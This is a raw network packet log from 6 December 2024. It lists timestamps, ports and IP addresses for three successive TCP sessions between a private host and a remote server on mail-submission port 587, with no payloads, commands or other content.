Dec 6, 2024 10:01:20.373477936 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:20.693733931 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:20.694194078 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:20.815527916 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:21.135906935 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:21.135926008 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:21.135936975 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:21.135951042 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:21.136053085 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:21.136053085 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:21.137744904 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:21.257417917 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:21.577908039 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:21.584580898 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:21.704283953 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:22.024615049 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:22.024995089 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:22.144670010 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:22.465024948 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:22.465342045 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:22.585042000 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:22.944256067 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:22.944473982 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:23.064250946 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:23.402407885 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:23.402740955 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:23.522735119 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:23.951832056 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:23.952148914 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.072289944 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.392673969 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.424056053 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.424097061 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.424328089 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.424387932 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.427405119 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.543791056 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.543848038 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.543963909 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.543989897 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.544147015 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.544183969 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.547528028 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.547597885 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.547630072 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.547672987 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.547744989 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.547786951 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.547880888 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.547892094 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.547919035 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.547935963 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.547945976 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.547974110 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.548013926 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.548067093 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.548109055 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.548147917 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.548264027 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.548312902 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.663584948 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.663650036 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.663825989 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.663865089 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.667411089 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.667457104 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.667494059 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.667578936 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.667597055 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.667649031 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.667679071 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.667732000 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.667752981 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.667793989 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.667820930 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.667872906 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.667912960 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.667962074 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.668067932 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.668114901 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.668143034 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.668196917 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.712452888 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.712519884 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.783548117 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.783658981 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.783713102 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.783768892 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.787417889 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.787509918 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.787571907 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.787607908 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.787632942 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.787709951 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.787719011 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.787750959 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.787769079 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:24.787848949 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.787919998 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788001060 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788009882 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788019896 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788033009 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788099051 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788187981 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788211107 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788372040 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788382053 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788480043 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788497925 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788736105 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788744926 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.788841963 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.789063931 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.832477093 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.832489967 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.903750896 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.903799057 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.903832912 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.903892994 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.904046059 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.904055119 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.904367924 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.904445887 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.907442093 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.907490969 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.907596111 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.907629967 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.907737017 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.907784939 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.907911062 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.907951117 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.908083916 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:24.908092976 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:25.830621958 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:25.875710964 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:27.403289080 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:27.523113966 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:27.843287945 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:27.843403101 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:27.843722105 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:27.844635010 CET	49726	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:27.844638109 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:27.964356899 CET	587	49726	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:27.964370966 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:27.967442036 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:29.462974072 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:29.465564966 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:29.585264921 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:29.916305065 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:29.921351910 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:30.041100025 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:30.379811049 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:30.380245924 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:30.503452063 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:30.835800886 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:30.835824013 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:30.835835934 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:30.835937023 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:30.835956097 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:30.836050034 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:30.837532043 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:30.957236052 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:31.288479090 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:31.289869070 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:31.410166025 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:31.764621019 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:31.767992020 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:31.887937069 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:32.218941927 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:32.219480038 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:32.339329004 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:32.680763960 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:32.681052923 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:32.800869942 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:33.138672113 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:33.179327965 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:33.299160957 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:33.721009970 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:33.721335888 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:33.842417002 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.172123909 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.172466040 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.172496080 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.172513962 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.172554970 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.174319029 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.292321920 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.292339087 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.292350054 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.292362928 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.292371035 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.292422056 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.294028997 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.294079065 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.294116974 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.294157982 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.294186115 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.294219971 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.294222116 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.294229984 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.294260979 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.294373035 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.294414997 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.294449091 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.294487953 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.294696093 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.294706106 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.294739962 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.412098885 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.412149906 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.412199974 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.412240982 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.413976908 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.414017916 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.414225101 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.414268017 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.414360046 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.414411068 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.414547920 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.414592028 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.414900064 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.414962053 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.415025949 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.415074110 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.456614971 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.456669092 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.532004118 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.532073021 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.532130957 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.532182932 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.534003019 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534049988 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.534085989 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534117937 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.534142971 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534223080 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534243107 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534360886 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.534373045 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534410000 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534414053 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:34.534774065 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534857035 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534956932 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534966946 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.534991980 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535029888 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535134077 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535144091 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535173893 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535185099 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535284042 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535294056 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535357952 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535367966 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535445929 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535460949 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.535485029 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.576664925 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.576678991 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.652079105 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.652112007 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.652198076 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.652215004 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.652312040 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.652362108 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.652457952 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.652559042 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.653778076 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.653841972 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.653904915 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.653914928 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.653975010 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.654067039 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.654118061 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.654232025 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.654258013 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:34.654309988 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:35.533557892 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:35.619714975 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:39.445611954 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:39.565361023 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:39.896260977 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:39.896353006 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:39.896531105 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:39.896830082 CET	49727	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:39.901747942 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:40.016613007 CET	587	49727	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:40.021569967 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:40.021677971 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:41.320658922 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:41.320804119 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:41.440551996 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:41.769030094 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:41.773201942 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:41.893117905 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:42.221472025 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:42.221903086 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:42.341602087 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:42.673137903 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:42.673158884 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:42.673171043 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:42.673209906 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:42.673244953 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:42.673279047 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:42.675784111 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:42.795547962 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:43.124263048 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:43.128669977 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:43.248490095 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:43.577009916 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:43.577411890 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:43.697189093 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:44.029243946 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:44.029531956 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:44.149188042 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:44.493822098 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:44.494046926 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:44.613795996 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:44.952847004 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:44.953125000 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:45.072954893 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:45.513412952 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:45.513962030 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:45.633688927 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:45.962088108 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:45.962585926 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:45.962634087 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:45.962634087 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:45.962728024 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:45.965811014 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.082473040 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.082485914 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.082496881 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.082556963 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.082588911 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.085653067 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.085673094 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.085776091 CET	49728	587	192.168.2.8	77.88.21.158
